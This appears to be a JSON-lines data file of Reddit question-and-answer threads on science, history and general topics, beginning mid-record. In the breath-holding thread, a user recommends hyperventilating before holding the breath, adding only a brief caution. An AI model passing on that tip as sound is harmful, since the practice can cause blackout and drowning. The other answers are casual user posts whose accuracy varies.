sense when a utility needs to invest as much as they can to justify high rates. ", "An even more efficient way would be to have a smaller turbine engine,  but switch out the combustion chamber for a solid oxide fuel cell. Not all the fuel would be consumed by the fuel cell, but such a generator isn't limited to Carnot efficiency (seeing as it's an electrochemical device, rather than a heat engine). The afterburner of the fuel cell can then feed into the turbine. Capturing waste heat is still limited to Carnot, but the catalytic process has taken the lion's share of chemical potential energy.\n\nI've heard such systems can reach about 80% total efficiency.\n\nThey're super brittle, though, and also super expensive. That's probably the reason they aren't used more widely.", "Back in the 1970s the Penn Central ran a turbine-powered passenger train between NY and Boston.  It was a purpose-built train and looked like something you'd see at a World's Fair. \n\nThe main line tracks outside the Boston station ran right by my apartment.  The sound of the train's engine spooling up as it accelerated - very slowly! - away was incredibly loud. It was even loud for the 1970s when no one cared about things like noisy planes, trucks or cars.  \n\nThe turbine train was very thirsty and maintenance-intensive and went away. I wonder if it still exists somewhere.  ", "The UK also tried with a couple of Gas Turbines - _URL_0_ \n\n_URL_3_  \n\n_URL_1_\n\n_URL_2_\n\nUltimately it was just too costly to justify at the time in comparison to diesel and electric. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], ["https://i.pinimg.com/736x/b3/d4/8e/b3d48e349c46087a32afe76dcd372ac8--electric-locomotive-steam-locomotive.jpg", "https://en.wikipedia.org/wiki/British_Rail_18000", "https://en.wikipedia.org/wiki/British_Rail_18100", "https://en.wikipedia.org/wiki/British_Rail_GT3"]]}
{"q_id": "a9tqry", "title": "how is it possible for people to train themselves to survive underwater for longer periods than others?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a9tqry/eli5_how_is_it_possible_for_people_to_train/", "answers": {"a_id": ["ecmd7ra", "ecmdnnu", "ecmiri0", "ecmosbd"], "score": [12, 6, 6, 2], "text": ["Based on how you condition yourself your body processes and uses things differently and more efficiently. At his peak Lance Armstrongs heart was only bearing 33 times per minute because it was so efficient. You can train your body to use oxygen more efficiently and that is how people can survive for longer. ", " > in my mind you need the same amount of oxygen to live no matter what.\n\nNot necessarily true. The more your body is doing the more oxygen it needs. Someone who is sleeping requires less O2 than someone running a marathon. The trick is to train your body to waste as little O2 as possible. Calm your heart beat because the higher your heart rate the faster you deplete your limited oxygen supply. Limit your muscle movements to the bare essentials. Any excess movement uses energy which depletes your O2. Learn to turn off your survival instict. As you start to run low on O2 your gonna want to freak out which raises your heart rate which is bad. Finally get in good shape. Excess weight is excess energy your body has to burn to stay alive. Also the bigger your torso is the better off your gonna be, because bigger lung capacity. \n\nEdit* heres a great ted talk about this very subject.\n_URL_0_", "There are a few things. First is to just practice holding your breath for longer and longer periods.  Do this in a safe place (couch, bed, etc.) and not while driving, swimming, etc. since you might pass out.  One minute is tough for a lot of people.\n\n & #x200B;\n\nNow start concentrating on your heart - hear the beats in your head and try to slow it a bit each beat.  If your heartbeat is higher than 60 bpm start by watching the seconds count by on your watch and try to match them.  Once you get to 60, try a metronome or just counting in your head.  I can get into the 40s just by concentrating on my heart and relaxing.  \n\n & #x200B;\n\nWhen you put your face in the water, your body automatically slows the heartbeat.  Combining this with concentration can make a big impact.\n\n & #x200B;\n\nHyperventilating before your hold your breath gets a bunch of oxygen into your blood.  This helps too, but be careful as this can also lead to black-out if not careful.\n\n & #x200B;\n\nCombining the above strategies, I can do 3 minutes if I am doing nothing.  If I'm exerting myself this drops to between 1 and 2 minutes.  I used to spearfish a lot (20+ years ago) and I guess this built up my lung/heart capacity over time.  Hold your breath for commercials, during scenes in movies when the hero is underwater, etc.\n\n & #x200B;\n\nThere are freedivers that go for even longer, and they guard their secrets pretty well.  I think a lot of it is conditioning, concentration on relaxing, and maybe some genetics.", "The same amount of oxygen is not consumed at the same rate by all people, in all situations.\n\nThere are physical, psychological, and \"technical\" factors.\n\nA calm person, consumes less oxygen than an anxious one, because of his lower heart rate. \n\nA fit person consumes less oxygen overall, for the same task.\n\nFree divers have also learned to receive the optimal amount of oxygen in the first place, and they have trained their natural reflexes to not freak out when their mind craves oxygen but their body can go longer without.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=XFnGhrC_3Gs"], [], []]}
{"q_id": "4cvtdk", "title": "Is there a particular shape coffee/tea cup that keeps the beverage hotter, longer?", "selftext": "I'm a pretty slow coffee drinker, so it tends to cool off quite a bit before I get to drink it all.  So, usually, it's not palatable by the time I get around to wanting to finish it off. I got to thinking this morning, is there a shape of cup in which the surface area or distribution of the drink would allow it to stay at a higher temperature over time?\n\nI am fully aware that I can use a cup with a lid or a thermos, but I'm more so curious if anyone with a knowledge of Thermodynamics (or whatever field this would apply to) would have an answer to the best shape coffee mug for retaining temp and why it would do so.\n\nThanks!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4cvtdk/is_there_a_particular_shape_coffeetea_cup_that/", "answers": {"a_id": ["d1lvyqk", "d1lw5bm", "d1lwjmm", "d1m2snh", "d1mccgg"], "score": [21, 6, 2, 3, 5], "text": ["Spherical. A sphere has the least amount of surface area per volume, and the surface is where the heat transfer happens. Less surface area means less heat transfer is possible. Since a sphere is not a practical shape for a mug, the cylinders we use now is probably the best comprimise.", "Your coffee is going to lose heat through:\n\n* Convection via the surrounding air. This is proportional to surface area.\n* Radiation to the environment. This is proportional to surface area, and to the emissivity of the cup (but we're concerned with geometry, not material).\n* Conduction to anything touching it. This is proportional to contact area.\n* Evaporation of the water in the coffee as steam. This will be limited by the free surface area of the coffee.\n\nSo, your best shape will have small surface area to volume ratio, small contact area to other objects, and small free surface area. It turns out a sphere is the shape with the smallest surface area per unit volume, but this presents a couple problems. How do you stop your spherical mug from rolling? And how do you drink out of it, if it's a sphere?\n\nThe most practical way would be to have a sphere with a flattened bottom, and a small open lip on top. You could also give it a few legs to minimize contact area with the desk/table/coaster.\n\nIn the end though, I doubt it'll make too much of a difference and you'd be better off buying an insulated cup.", "Your coffee will cool in two main ways, by convection from the surface, and by conduction through the cup.\n\nThe most of the loss will come from the convective losses*, but you said you didn't want to use a lid, so the opening should be as small as possible while still being reasonably easy to drink from.\n\nTo reduce the losses via conduction, you'll want to minimise the suface area/volume ratio of your cup, and that means it should be spherical.\n\nSo you'd ideally want something like this, \n_URL_0_\nwith a much smaller opening on the top.\n\nAnd to make it easy to drink out of, it would have a neck like this, but probably a bit narrower\n_URL_1_\n\nSo basically a spherical flask like this, but with a base and a handle\n_URL_2_\n\n[*] I'm sure I've seen this stated many times before, but couldn't find any definitive references to link to.", "My MIL has her masters in ceramics. \n\n\nShe made us a set of triangle mugs for Xmas last year that were designed to tackle this very problem. \n\n\nIt looks almost like those triangular  beakers (sorry scientists) where the wider part is at the bottom. It gets more narrow as it gets to the top to form mouth opening no bigger than a golf ball. \n\n\nKeeps my coffee as hot as noninsulated can. ", "While this doesn't directly answer your question, please keep in mind that the shape and thickness of the rim changes the taste of the beverage. This is one reason why the standard tea cup is different in size and has a thinner rim than a standard coffee cup. There are a number of reasons why the taste changes between cups, including a different amount of air being mixed with the beverage as you drink it from the cup. \n\nMy point is that changing the shape of the coffee mug will change the taste. In order to optimize taste, it would be better to use a cup warmer; you can get little midget hot plates for this purpose that sit on your desktop. This assumes that you actually care about the taste."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://g01.a.alicdn.com/kf/HTB1eO2BJFXXXXa1XpXXq6xXFXXX0/Animal-Bear-Spherical-Ceramic-Mugs-Water-Cup-Birthday-Gift-Valentine-s-Day-Gift-Cartoon-Fashion-Creative.jpg", "http://www.trekprops.de/wordpress/wp-content/uploads/2009/10/raktajino_mug_replimat_6982.jpg", "https://www.spectrumchemical.com/OA_MEDIA/H_300108.gif"], [], []]}
{"q_id": "3jqmuz", "title": "why does it take weeks (or months) to receive results from multiple choice exams when everything is corrected and generated by machines?", "selftext": "After years of schooling and uni, this baffles me. I've had some exams take over three months when they were done entirely on those 'fill in the bubble' multiple choice sheets. I can understand maybe someone has to check over the people who fill them in wrong, and others may be involved in the stats side of things, but surely that can't all take more than a few days?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3jqmuz/eli5_why_does_it_take_weeks_or_months_to_receive/", "answers": {"a_id": ["curgq1m", "curme5v"], "score": [3, 2], "text": ["I would imagine they have tens of thousands of sheets to mark. Then keying in marks, typing out certificates, etc for some exams. I've been waiting on my UNSW ICAS results for MONTHS. ", "I can tell you that that has not been my experience. At my college, there was a TV on the way out of the testing center that would list what students got what scores (listing the students by ID number so nobody would be able to figure out each other's grades). If your exam was multiple choice, you got your test scores immediately."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "tz8we", "title": "Mars rovers and relativity", "selftext": "As far as I understand, we have to correct the GPS satellites for relativistic effects -- both due to their speed and different gravity, and a mars-based object will definitely have a different gravity, probably be moving a lot faster compared to us then a GPS satellite.\n\nSo, say we send a very accurate clock to mars on a rover or lander, as well as having an identical clock on earth.\n\nLet's assume that signal propagation and processing delays are all completely and perfectly constant { which I know is not the case, but this should make the math easier I believe }\n\nIf we synchronize the Earth based clock to the Mars based clock once the clock is on Mars, how far and in what direction would the clocks deviate in a week? a month? a year? ( It would be nice if you can show and possibly explain the math too )", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tz8we/mars_rovers_and_relativity/", "answers": {"a_id": ["c4qzj4o", "c4qzjl1", "c4r54le"], "score": [13, 2, 15], "text": ["Time dilation was actually tested with the viking 1 lander.  See the results [here](_URL_0_).  ", "Im not as well versed on the gravitational effects, but the relativistic effects arise from time dilation.  _URL_1_.  The wiki does a good job particularly the fourth and fifth illustrations in explaining the concept.\n\nIf you want a hypothetical scenario:\nIf we launch for mars when the planets are located at their average distance of 225 million km (_URL_0_)\nand plan to make the trip in one month (30 day month is equivalent to 2592000 seconds) the average speed of the rover will be 86.8 km/sec.\n\nIf we use this speed in the time dilation equation we get that T' = T/sqrt(1-(86805^2 /300000000^2 )) or that T' = 1.000000042 T  or that T' = 2592000.1085 seconds.\n\nThis means that the rover ages 0.1085 seconds less than the observer on earth.  The real takeaway is that until you start to approach the speed of light (our example was conducted at 0.0289% c) the relativistic effect is small.", "**Constants we'll need:**\n\n    Mass of Sun: 1.99e30 kg\n    Mass of Earth:  5.98e24 kg\n    Radius of Earth: 6.371e6 m\n    Orbital Radius Earth: 1.495e11 m\n    Orbital Velocity Earth: 2.98e4 m/s\n    Mass of Mars: 6.43e23 kg\n    Radius of Mars: 3.397e6 m\n    Orbital Radius Mars: 2.279e11 m\n    Orbital Velocity Mars: 2.41e4 m/s\n    Speed of Light: 3.00e8 m/s\n    Gravitational Constant: 6.67300e-11 m^3 kg^-1 s^-2\n    \n**For the GPS satellites**\n\n    Time dilation from relative velocity difference:\n        = sqrt( 1 - v^2 / c^2 )\n        = sqrt( 1 - 3.9E3^2 / 3E8^2 )\n        = 0. 999 999 999 840\n    1 Earth second = 0. 999 999 999 840 GPS seconds\n\n    Time dilation from gravity at GPS orbit\n        = e^( G * M * ( R ) / ( R * C^2 )\n        = e^( 6.67E-11 * 5.97E24 * ( 26.6E6 ) / ( 26.6E6^2 * 3E8^2 ) )\n    = 1. 000 000 000 166 3\n\n    Time dilation from gravity at Earth surface\n        = e^( G * M * R / ( R^2 * C^2 )\n        = e^( G * M / ( R * C^2 )\n        = e^( 6.67E-11 * 5.97E24 / ( 6.371E6 * 3E8^2 ) )\n    = 1. 000 000 000 694 5\n\n    Difference: 1 Earth  second = 1. 000 000 000 694 5 GPS seconds\n\nMultiplying the two, we get that 1 Earth second = 1. 000 000 000 534 5 GPS seconds. \n\nThis means that the GPS clock will run 0. 000 046 181 seconds/day faster than a clock on the surface.\n\n**For the Earth/Mars thing**\n\n    Max Velocity Difference: 5.39e4m/s\n    Min Velocity Difference: 0.57e4m/s\n\n    Time dilation from max velocity difference:\n        = sqrt( 1 - v^2 / c^2 )\n        = sqrt( 1 - 5.39e4^2 / 3.00e8^2 )\n    = 0. 999 999 983 856\n\n    Time dilation from min velocity difference:\n         = sqrt( 1 - v^2 / c^2 )\n         = sqrt( 1 - 0.57e4^2 / 3.00e8^2 )\n     = 0. 999 999 999 819\n\n    From Velocity difference, 1 Earth second/1 Mars second:\n        Min: 0. 999 999 983 856\n        Max: 0. 999 999 999 819\n\n    Time dilation from gravity at Earth's surface:\n        = e^( G * M * R / ( R^2 * C^2\n        = e^( G * M / ( R * C^2 )\n        = e^( 6.67E-11 * 5.97E24 / ( 6.371E6 * 3E8^2 ) )\n    = 1. 000 000 000 694 5\n\n    Time dilation from gravity at Mars' surface:\n        = e^( G * M * R / ( R^2 * C^2 )\n        = e^( G * M / ( R * C^2 )\n        = e^( 6.67E-11 * 6.41E23 / ( 3.397E6 * 3E8^2 ) )\n    = 1. 000 000 000 139 8\n\n    From surface gravity, 1 Earth second/1 Mars second:\n    = 1. 000 000 000 554 7\n\n**Now to factor in the sun.**\n\n    Time dilation from gravity at Earth's orbit:\n        = e^( G * M * R / ( R^2 * C^2 )\n        = e^( G * M / ( R * C^2 )\n        = e^( 6.67E-11 * 1.99E30 / ( 1.495E11 * 3E8^2 ) )\n    = 1. 000 000 009 865\n\n    Time dilation from gravity at Mars' orbit:\n        = e^( G * M * R / ( R^2 * C^2 )\n        = e^( G * M / ( R * C^2 )\n        = e^( 6.67E-11 * 1.99e30 / ( 2.279e11 * 3E8^2 ) )\n    = 1. 000 000 006 471\n\n    From solar gravity, 1 Earth second over 1 Mars second:\n    = 1. 000 000 003 394\n\nTo get the total, simply multiply them together. So 1 Earth second/1 Mars second:\n\n    Min: 0. 999 999 987 805\n    Max: 1. 000 000 003 768\n\nDepending on where in its orbit Mars is, the relative time dilation between Earth and Mars will be different, and a clock would appear from Earth to be anywhere between 12.2 ns/second fast and 3.8 ns/second slow.\n\nI leave it as an exercise to you to use these equations to figure out what the current time dilation is.\n\nHint: assuming my calculations are correct, mars is currently travelling at 1.184e4 m/s relative to Earth. \n\nYou can get the same data by emailing the following to horizons@ssd._URL_0_ with the subject of 'job':\n\n    !$$SOF\n    EMAIL_ADDR='emailadress@domain.extension'\n    START_TIME = '2012-May-22 14:30:58'\n    STOP_TIME = '2012-May-22 14:30:59'\n    TABLE_TYPE = 'Vector'\n    REF_PLANE = 'Ecliptic'\n    CENTER = '@399'\n    COMMAND='499'\n    !$$EOF \n\n@399 is Earth and the location you're viewing from, 499 is Mars, and the data you're looking for will be in the section that looks like this:\n\n    $$SOE\n    2456070.104837963 = A.D. 2012-May-22 14:30:58.0000 (CT)\n    -1.574005140629958E+08  5.411220228577374E+07  3.961516465217526E+06\n    -1.693191559914327E+01 -6.603552379912438E+00 -6.546698412635471E-01\n     5.553491167986833E+02  1.664894767732064E+08  1.384571575640517E+01\n    $$EOE\n\nwhere the first line is xyz coordinates, the second line is xyz velocities, the second number of the third line is distance to Mars, and the  first and third numbers have a purpose of which I am not aware.\n\nEdit: Formatting\n\nEdit2: Mars is travelling at 1.184e4 m/s, not 1.184 m/s."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://articles.adsabs.harvard.edu/cgi-bin/nph-iarticle_query?db_key=AST&amp;bibcode=1979ApJ...234L.219R&amp;letter=L&amp;classic=YES&amp;defaultprint=YES&amp;whole_paper=YES&amp;page=219&amp;epage=219&amp;send=Send+PDF&amp;filetype=.pdf"], ["http://www.universetoday.com/14824/distance-from-earth-to-mars/", "http://en.wikipedia.org/wiki/Time_dilation"], ["jpl.nasa.gov"]]}
{"q_id": "yoexb", "title": "Henry VIII had dramatic personality changes following a head injury: Sensationalization, or plausible theory? What's /r/AskHistorians' opinion?", "selftext": "[According to a documentary](_URL_0_), (or just this article on it), Henry VIII went from a fit young go-getter to a paranoid, obese sociopath who beheaded his wives and split from the Church in a dramatic series of personality changes after he was nearly killed in a jousting accident.\n\nIt's an intriguing hypothesis, but it's quite dramatic to propose that one of the world's major religions has its origins in a traumatic brain injury. Anyone care to comment on this story? I'd be really interested in learning more about this, particularly any critical analysis that might either corroborate or refute its claims.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/yoexb/henry_viii_had_dramatic_personality_changes/", "answers": {"a_id": ["c5xiiot"], "score": [2], "text": ["I think it's overstating the physical effects of the accident and understating the psychological ones. Remember, he was living and ruling in the aftermath of the War of the Roses, and even in his time internal and external threats to the unity and territory of the kingdom were still very real and present. The injury was likely as much a threat to his mind as his body - his death without a clear male heir could have been potentially devastating for the kingdom."]}, "title_urls": [], "selftext_urls": ["http://www.independent.co.uk/news/uk/this-britain/the-jousting-accident-that-turned-henry-viii-into-a-tyrant-1670421.html"], "answers_urls": [[]]}
{"q_id": "2zsh68", "title": "'It's less than a century since women had their teeth ripped out and replaced with dentures for their 21s birthdays' (in a magazine I'm reading). Is this true?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2zsh68/its_less_than_a_century_since_women_had_their/", "answers": {"a_id": ["cplyz8h", "cpm060t", "cpm0e6z", "cpmh7r7"], "score": [95, 6, 16, 5], "text": ["[Henry Cotton](_URL_0_) might be who they're referring to. He was a psychiatrist who thought bacteria in teeth was the source of mental illness. Pulling teeth to cure the crazies became quite popular for a time. Not 100% that's what the magazine refers to though, since  his \"treatment\" was not in any way exclusive to women. In fact, his surgical experiments on his own sons likely led to their suicides. Plural. As in, both his sons killed themselves. ", "[Here's](_URL_0_) a newspaper clipping from 1993 talking about an Amish dentist being sued for doing this, it had been going on with him for a decade. Outside of the Amish community, I'm unsure, but this is definitely well-accepted there; pulling teeth and using dentures is generally simpler than having to deal with more advance problems down the line.", "I'm curious what the context for your quote is, can you post an excerpt of the magazine article, or link to it?\n\nAs far as the accuracy I've heard the factoid about dentures on QI and other places and can't find anything more definite for it. However, the attitude towards dentistry and dental hygiene has changed significantly over the last century. [Orwell comments on teeth in The Road To Wigan Pier (1937)](_URL_0_): \n > The most obvious sign of under-nourishment is the badness of everybody\u2019s teeth. In Lancashire you would have to look for a long time before you saw a working-class person with good natural teeth. Indeed, you see very few people with natural teeth at all, apart from the children; and even the children\u2019s teeth have a frail bluish appearance which means, I suppose, calcium deficiency. Several dentists have told me that in industrial districts a person over thirty with any of his or her own teeth is coming to be an abnormality. In Wigan various people gave me their opinion that it is best to get shut of your teeth as early in life as possible. \u2018Teeth is just a misery,\u2019 one woman said to me. \n\nSo it seems reasonable that in that environment dentures would be a welcome present. ", "Sorry it took me a bit to respond to this, but what you are likely hearing about is what's called a pre-nuptial extraction, or \"Dowry Dentures\" and yes it used to be a very common thing in depressed areas and in certain cultures. In fact, it still is practiced. I very quickly found [a study](_URL_0_) from 2011 demonstrating that contemporary Acadian (French Canadian) dentists have performed them. \n\nIn [Guatemala](_URL_1_) it was traditionally done because women were considered less able to withstand pain so families would spend the money to extract the teeth when a girl reached adulthood. Care was rare and disease was common. \n\nI found a study of [Dinka](_URL_2_) refugees describing the practice. Similarly to the reasons mentioned in Guatemala, this practice was thought to originate in a time when tetanus was epidemic. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.m.wikipedia.org/wiki/Henry_Cotton_%28doctor%29"], ["https://news.google.com/newspapers?nid=2004&amp;dat=19930930&amp;id=u7UiAAAAIBAJ&amp;sjid=C7UFAAAAIBAJ&amp;pg=4145,6734270&amp;hl=en"], ["https://ebooks.adelaide.edu.au/o/orwell/george/o79r/chapter6.html"], ["https://indigo.uic.edu/bitstream/handle/10027/8596/npsD11A.pdf?sequence=1", "http://www.ncbi.nlm.nih.gov/pubmed/8545676", "http://www.ncbi.nlm.nih.gov/pubmed/16295224"]]}
{"q_id": "1x8sdt", "title": "what tools do professionals/experts/researchers use to solve complex math equations this day in age?", "selftext": "What I'm curious about isn't 'what kind of math' is done, or what knowledge is needed, but more functionally: what physical tools are used to solve/formulate complex math? A\n\nIs work still done by hand? Someone sitting with notebooks and pencils? Perhaps the Hollywood cliche of an office full of erasable white boards? Or are there basic universal computer programs that everyone uses? (Much like how every screenwriter uses Final Draft or every designer uses Adobe programs?) \n\nI've been thinking about this a lot recently, and have zero knowledge about any of this stuff. I'm sure even my use of \"math\" is ignorant, but I'm sure you understand my general query. \n\nThanks to anyone who has any answers!\n\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1x8sdt/eli5_what_tools_do/", "answers": {"a_id": ["cf959nj"], "score": [3], "text": ["Well really I think we need you to tell us what you mean by solving complex math equations.\n\nIf I just need someone to compute some numbers, like figure out the arc tangent of a huge set of numbers or something, I have a computer do it. A lot of mathematicians today, and physicists or other people working in a math-heavy field, just know the basics of programming so that they can have the computer crunch numbers however they may need. \n\nIf you mean 'doing math' as in figuring out new identities or managing to create a proof that every 32 prime is is the sum of two other primes cubed or something then yes, a lot of it is done by hand. Pretty much no matter how you slice it it's easier to write out [this](_URL_0_) on paper. Computers have no intelligence either, they can't help you be crafty or innovative in the way you need to be when working out 'new math' or whatever you want to call it.\n\nIt can vary though. Some people might use a notebook and pen or pencil, some might prefer a whiteboard, some might use software that lets you write freehand with a stylus, and I'm sure some of the more savant-like people don't use anything at all, they just think about it mentally and put it to paper when they've gotten somewhere.\n\nIf you want to write a math textbook where you can't really use hand-written notes anymore the commonly used tool is LaTeX. It's a markup language that lets you do a lot of fine control over formatting documents and also allows for equations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://thewaythetruthandthelife.net/index/2_background/2-1_cosmological/math/mat9/02_files/fig273.jpg"]]}
{"q_id": "1r1o8p", "title": "Would a whale farm be theoretically possible?", "selftext": "I just watched the South Park episode about Japanese whale hunting. At the end they allude to the fact that Americans do the same with chickens and cows. The difference is we breed chickens and cows. \n\nAnyhow I just wanted to know if my idea, logical or not, is possible. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1r1o8p/would_a_whale_farm_be_theoretically_possible/", "answers": {"a_id": ["cdirg85", "cdj31w8"], "score": [8, 2], "text": ["Problems with a whale farm range from being extremely impractical, to being biologically unrealistic, to not knowing what these animals need to survive to being uneconomical.\n\nImpractical- You'd need to cordon off a huge area that included all the resources whales need.\n\nUnrealistic- Many whales (most? all?) range widely, some thousands of miles from their wintering and birthing grounds to their feeding grounds.\n\nMysterious- We don't know all the things whales do or need and this would make it likely the experiment failed.\n\nUneconomical- yeah, this would fail because whales generally take a long time to mature and reproduce. Farming generally requires fast reproduction and growth to be sustainable. And see other ways this would fail above. \n\nThese are all general problems. There might be individual species for which some of these issues could be avoided but I high doubt there are any for which all of these problems could be solved.", "Arthur C. Clarke one wrote a story about herding whales [The Deep Range](_URL_0_)\n\nIt's not likely it will ever be done, but if you were going to domesticate whales you'd pretty much have to herd them rather than try and pen them up somewhere.  Guide pods of females around the antarctic ocean between zones of rich plankton, protect them from predators, harvest most of the offspring every year.  It would still be quite impractical, though.  The expense of just keeping ships out there to keep an eye on them....\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://books.google.com/books?id=-fYpAAAAQBAJ&amp;lpg=PT152&amp;ots=xV-sRgT5v6&amp;dq=arthur%20c%20clarke%20whale%20herding&amp;pg=PT152#v=onepage&amp;q=arthur%20c%20clarke%20whale%20herding&amp;f=false"]]}
{"q_id": "elf22p", "title": "Grover Cleveland was acting president and 49 years old when he married his 21-year-old wife, who he also watched over before their marriage after her father died. Was this not objectively considered gross or weird at the time?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/elf22p/grover_cleveland_was_acting_president_and_49/", "answers": {"a_id": ["fdii3b9", "fdijdfn"], "score": [584, 2043], "text": ["Frank (Frances) Folsom's age at her marriage to Grover Cleveland was something noted by the press, absolutely. However, any criticism seems to have been rather mild.\n\nOne article, printed in multiple newspapers including (here) the *Indianapolis Sentinel*, [merely said](_URL_0_):\n\n >  She is the daughter of tbe former law partner of Mr. Cleveland, and is spoken of as a lady of great brilliancy, and one who would be an ornament to the White House and to society as well. \n\n >  She is perhaps a trifle young for an old fellow of forty-eight, for as the President celebrated his birthday on Wednesday, it is hardly worth while to try and conceal his age longer. \n\n > Her age, if so delicate a subject may be touched upon, is probably about half that of the President. \n\n >  She is spoken of as very handsome...\n\nEven when a newspaper column mentions her age, there is nothing said about their earlier relationship. I'm especially a fan of [this clip from an Iowa paper I found online](_URL_1_), in which the author discusses Frank's *childhood handwriting* and even her childhood nickname with nothing but approval for the woman...and comments (apocryphal or not) about how her handwriting was setting the trend for local women.\n\nGrover's 1923 biographer, Robert McElroy, repeats an unsourced, possibly apocryphal story about the president's reaction to the rumors circulating in advance about his possible marriage...to Frank's *mother*:\n\n >  I don't see why the papers keep marrying me to old ladies all the while--I wonder why they don't say I am engaged to her daughter.\n\nI am not sure I would take this particular story seriously, especially because McElroy doesn't cite it beyond \"an old friend and her daughter.\" On the other hand, I've never seen any disagreement that the press *did* expect Grover to marry the widow Emma Folsom, not her daughter.\n\nThis makes some modern scholars' argument that Grover began a romantic relationship with Frank and (especially) married her as an election/reelection strategy...hm, interesting. On the other hand, that such an argument can be made in the first place likewise points to a general public acceptance.\n\nSo you can see the marriage did not quite seem the most *natural*, but wasn't a widespread problem. The media's utter infatuation with Frank herself might have helped matters, as probably did the fact that Grover had already beaten one sexual scandal (a) by owning up to it, and (b) it still being less bad than the competition's political sins (c) probably because the parts of the sex scandal that reflected truly poorly on him depended on the word of a *woman*.\n\nAnd by the time Frank Cleveland was departing the White House along with her husband, \"a trifle young\" had become a *good* thing:\n\n >  A modest, robust, enthusiastic girl she entered the White House. The entire nation was interested in her. It delighted in her youth and beauty.\n\n...It is, however, noteworthy that eleven years later, the *Chicago Chronicle* was remarking not just *on* her youth at the time of marriage but remembering that people had *talked* about it.", "I wrote my master's thesis in history on Frances Cleveland and public perceptions of her role as first lady. One of the chapters focused on the wedding of Grover Cleveland and Frances Folsom, and in researching this portion I read as much newspaper and magazine coverage as I could get access to. This included major papers such as the *New York Times*, the *New York Tribune*, the *Chicago Daily News,* and the Washington D.C. *Evening Star*. I also examined popular mass-circulation magazines, including *Ladies Home Journal, Harpers Bazar, Puck,* and *Frank Leslie's Illustrated Newspapers*. \n\nAll of these publications devoted extensive space to the White House wedding, and in none of them did I encounter any hint that there was anything strange about the pairing of Grover Cleveland and Frances Folsom. In fact, the general sentiment was summed up by an article in the *New York Tribune* (titled \"Mr. Cleveland's Devotion to His Ward\") that described it as \"like a story book or fairy tale.\" Up until the announcement of the engagement, Cleveland had had a reputation for being rather gruff and unsociable, and people seem to have been genuinely charmed by the revelation of his romantic side. As one writer for the *Chicago Daily News* observed:\n\n\"There is something characteristically American about the merry yet respectful, jesting yet sincere, interest our people take in the nuptials of the president. Every bit of gossip concerning his courtship and the life, appearance, and character of his intended is discussed with as much avidity as if she were to be the bride of some personal friend. The people do not stand afar off and watch the preparations for the marriage as if it were to be a pageant of royalty. They are not restrained by any awe of the president's high office from showing their curiosity about his persona affairs. They feel that he owes his elevation to their suffrage, and they wish him joy and tender him advice with all the freedom of equals.\"\n\nOf course, this was just what was being said publicly, but I have no reason to think private opinion was drastically different. Frances was an enormously popular figure throughout Cleveland's first term in office, and she was joyfully welcomed back to the White House in 1892. By that time the Clevelands had a daughter, Ruth, and would welcome a second child in 1893, completing the picture of domestic felicity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://newspapers.library.in.gov/cgi-bin/indiana?a=d&amp;d=IS18850322.1.2", "https://www.newspapers.com/clip/2437041/newspaper_piece_about_frances/"], []]}
{"q_id": "4uyygs", "title": "if the colour of the universe if deemed as cosmic latte, why have i never seen that colour in space?", "selftext": "All pictures of space have the colours black, blue, red, white, etc but I've never seen cosmic latte.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4uyygs/eli5_if_the_colour_of_the_universe_if_deemed_as/", "answers": {"a_id": ["d5u286d", "d5u4tg6"], "score": [6, 3], "text": ["Cosmic latte is an overall sum of all the colors on average.\n\nJust like how a rainbow, when added up, is white light.", "When people say that \"Cosmic Latte\" is \"the color of the universe\", they mean it's the *average* color of all the *stuff* in the universe. Pretty much all of the black you see is actually just the absence of stuff, so it doesn't get factored in.\n\nSince this is the *average* color of the universe, no specific stars have to be that color. Like they say, the average human has one breast and one testicle. It's mostly white, like most stars, but it's also very slightly reddish, because a lot of stars are red giants or red dwarfs.\n\nAlso keep in mind that the colors you see in pictures of space aren't necessarily representative of the universe as a whole. First of all, they tend to use exposure tricks and the like to accentuate things that would otherwise be too dim to see. Some of the images might even be false color images. Even when the images are completely accurate in the colors they depict, people tend to take pictures of interesting parts of space, and \"interesting\" usually means \"different from the norm\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2qhti6", "title": "if nato relies on collective defence, what happens if two nato countries declare war on each other?", "selftext": "Is there anything in NATO text that says what would happen? Which side would NATO take?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qhti6/eli5_if_nato_relies_on_collective_defence_what/", "answers": {"a_id": ["cn67y7o", "cn69yz0"], "score": [17, 9], "text": ["Well the whole idea is that NATO is a collection of like-minded countries. If something were to happen that would cause two members to go to war, the whole system of NATO would collapse and fall back to \"unincorporated\" alliances. NATO is built on mutual trust and defence, and if even one country falters then the whole system loses faith and stops working.", "Part of being in NATO is agreeing not to go to war with other NATO countries.\n\nThe circumstances that would lead two NATO countries into war would result in one or both of them being expelled, and possible the dissolution of NATO entirely."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
